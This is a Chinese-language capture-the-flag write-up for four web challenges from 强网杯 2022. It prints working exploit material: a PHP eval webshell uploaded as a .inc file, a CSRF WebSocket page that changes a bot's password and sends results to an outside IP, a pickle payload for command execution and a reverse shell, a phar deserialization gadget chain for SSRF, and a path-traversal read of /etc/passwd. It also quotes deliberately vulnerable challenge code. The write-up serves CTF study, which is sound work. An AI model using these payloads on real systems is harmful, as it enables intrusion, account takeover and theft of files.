强网杯 2022 Web writeup

2022-09-23 07:56:39 浏览数 (1)

rcefile

php写的后端 要求使用文件上传 反序列化实现RCE

cookie中有序列化的userfile字段来表示用户已经上传的文件,那应该要先想办法通过文件读取的功能读取到源代码,然后再考虑如何结合反序列化实现RCE。

源码在 www.zip

主要流程就是3个能访问的php文件都是引入了config.inc.php这个文件,config.inc.php这个文件会将cookie中的userfile反序列化,在访问showfile.php时就会根据反序列化后的内容渲染在页面上。而upload.php中对上传文件内容做了过滤,并且对于能够符合条件的文件以md5时间为文件名存储。

代码语言:javascript复制
$file = $_FILES["file"];
if ($file["error"] == 0) {
    if($_FILES["file"]['size'] > 0 && $_FILES["file"]['size'] < 102400) {
        $typeArr = explode("/", $file["type"]);
        $imgType = array("png","jpg","jpeg");
        if(!$typeArr[0]== "image" | !in_array($typeArr[1], $imgType)){
            exit("type error");
        }
        $blackext = ["php", "php5", "php3", "html", "swf", "htm","phtml"];
        $filearray = pathinfo($file["name"]);
        $ext = $filearray["extension"];
        if(in_array($ext, $blackext)) {
            exit("extension error");
        }
        $imgname = md5(time()).".".$ext;
        if(move_uploaded_file($_FILES["file"]["tmp_name"],"./".$imgname)) {
            array_push($userfile, $imgname);
            setcookie("userfile", serialize($userfile), time()   3600*10);
            $msg = e("file: {$imgname}");
            echo $msg;
        } else {
            echo "upload failed!";
        }
    }
}else{
    exit("error");
}

比赛时候感觉没有魔法方法感觉很奇怪,这怎么打反序列化利用呢,虽然可以通过修改http请求来上传任意后缀内容的文件,但是.htacess是会被重命名的所以当时没有想到办法。

赛后看wp发现关键是config.inc.php 文件中的 spl_autoload_register() 函数

代码语言:javascript复制
<?php
spl_autoload_register();
error_reporting(0);

function e($str){
    return htmlspecialchars($str);
}
$userfile = empty($_COOKIE["userfile"]) ? [] : unserialize($_COOKIE["userfile"]);
?>
<p>
    <a href="/index.php">Index</a>
    <a href="/showfile.php">files</a>
</p>

当spl_autoload_register()不指定处理用的函数,就会自动包含.php.inc的文件,并加载其中的文件名类,而且黑名单中也没有.inc,所以上传内容为<?php phpinfo();eval($_POST[evil]);?>的inc文件,上传后服务端会存放xxxx.inc,将xxxx反序列化后放在Cookie中,就可以实现RCE了。

babyweb

这是一个csrf的题目,当时就其实payload是对的但是第一次没打通以为是有什么问题,结果赛后一看别的师傅的wp发现一模一样,挺离谱的。将恶意页面放在服务器上面,让bot去访问,就可以伪装bot发给服务端修改密码请求,改密码后就可以登陆成功了。

代码语言:javascript复制
<!doctype html>
<html>
<head></head>
<body>
<script>


        var url = "ws://127.0.0.1:8888/bot"
        // var url = "ws://123.56.105.22:23302/bot"
        var ws = new WebSocket(url)

        ws.onopen = e => {
                ws.send("changepw 111222333")
                window.location = "http://101.34.253.123:60012/connect" 
        }
        ws.onerror = e => {
                window.location = "http://101.34.253.123:60012/connection_error"        
        }
        ws.onmessage = function (ev) {
                window.location = "http://101.34.253.123:60012/msg_" ev.data
        }
        
        ws.onclose = e => {
                window.location = "http://101.34.253.123:60012/conection_close"
        }

</script>
</body>
</html>

登陆上去后的部分就是看别人wp了,毕竟也没有开源题目。考察的是由于python和go对于json的解释器不同,写两个num并且第一个num改为负数就可以成功绕过限制。

crash

这个题目当时一直不懂flag在504页面是什么意思,只知道是打pickle反序列化,但是又很奇怪为什么会有os.system("rm -rf *py*")这样一句删光.py文件的语句。

代码语言:javascript复制
import base64

# import sqlite3

import pickle
from flask import Flask, make_response,request, session
import admin
import random

app = Flask(__name__,static_url_path='')
app.secret_key=random.randbytes(12)

class User:
    def __init__(self, username,password):
        self.username=username
        self.token=hash(password)

def get_password(username):
    if username=="admin":
        return admin.secret
    else:
        # conn=sqlite3.connect("user.db")
        # cursor=conn.cursor()
        # cursor.execute(f"select password from usertable where username='{username}'")
        # data=cursor.fetchall()[0]
        # if data:
        #     return data[0]
        # else:
        #     return None
        return session.get("password")

@app.route('/balancer', methods=['GET', 'POST'])
def flag():
    pickle_data=base64.b64decode(request.cookies.get("userdata"))
    if b'R' in pickle_data or b"secret" in pickle_data:
        return "You damm hacker!"
    os.system("rm -rf *py*")
    userdata=pickle.loads(pickle_data)
    if userdata.token!=hash(get_password(userdata.username)):
         return "Login First"
    if userdata.username=='admin':
        return "Welcome admin, here is your next challenge!"
    return "You're not admin!"

@app.route('/login', methods=['GET', 'POST'])
def login():
    resp = make_response("success")
    session["password"]=request.values.get("password")
    resp.set_cookie("userdata", base64.b64encode(pickle.dumps(User(request.values.get("username"),request.values.get("password")),2)), max_age=3600)
    return resp

@app.route('/', methods=['GET', 'POST'])
def index():
    return open('source.txt',"r").read()

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

第一步应该是想办法让解析cookie出来的userdata.username=’admin’,考虑pickle rce。

cookie中有两个字段,userdata是User对象用pickle序列化后的字节码再base64编码的,session是password,但是并不能直接伪造一个userdata,因为通过username和hash(password)来检验身份,而我们并不知道admin这个username对应的password。本地调试了一下,默认的用户username和password都是none。

首先是绕过’R和secret的限制,参考文章https://zhuanlan.zhihu.com/p/361349643

代码语言:javascript复制
b'''cos
system
(S'command'
tR.'''

base64编码后替换cookie中的userdata,再访问/balancer接口就可以实现rce,反弹shell。 这里因为有os.system("rm -rf *py*"),而flag会在504页面返回,因此需要自己写一个flask服务并且写一句time.sleep延时,替换掉原本目录下的flask服务,再访问就会认为服务端504了给出flag了,不过这里有一点还没想明白的就是如果正常访问/balancer接口,不会触发os.system(“rm -rf py“)而导致服务崩溃么…

easyweb

有文件上传和读取文件功能,通过GET请求传入fname参数,通过phar协议访问上传的phar文件,来通过反序列化AdminShow类的Show函数实现ssrf,访问本地机器文件。

可以通过任意文件读取/showfile.php?f=../demo.png/../../../../../../../../../../../../etc/passwd读取源码

参考其他师傅的exp:

代码语言:javascript复制
<?php
class Upload {
    public $file;
    public $filesize;
    public $date;
    public $tmp;
}

class GuestShow{
    public $file;
    public $contents;
}


class AdminShow{
    public $source;
    public $str;
    public $filter;
}


$guest = new GuestShow();
$guest1 = new GuestShow();

$upload = new Upload();
$upload1 = new Upload();
$upload2 = new Upload();

$admin = new AdminShow();
$admin1 = new AdminShow();

$guest->file = $upload;
$upload->tmp = $admin;
$admin->str[0] = $upload1;
$admin->str[1] = $upload2;
$upload1->filesize = $admin1;
$upload1->date = "http://10.10.10.10/?url=file:///flag";
$upload2->filesize = $admin1;
$upload2->date = "";
$upload2->tmp = $guest1;
$guest1->file = $admin1;

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($guest); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

通过Show()函数实现ssrf后,可以从/proc/net/arp获取内网的ip地址。可惜题目环境下线了,那只能看一看Wp了就没法直接复现了。

访问10.10.10.10后,可以获取源码。

代码语言:javascript复制
<?php
highlight_file(__FILE__);

if (isset($_GET['url'])){
    $link = $_GET['url'];
    $curlobj = curl_init();
    curl_setopt($curlobj, CURLOPT_POST, 0);
    curl_setopt($curlobj,CURLOPT_URL,$link);
    curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
    $result=curl_exec($curlobj);
    curl_close($curlobj);

    echo $result;
}

if($_SERVER['REMOTE_ADDR']==='10.10.10.101'||$_SERVER['REMOTE_ADDR']==='100.100.100.101'){
    system('cat /flag');
    die();
}

?>

又存在ssrf,那么传入http://10.10.10.10/?url=file:///flag,可以通过file协议来读取flag文件。

0 人点赞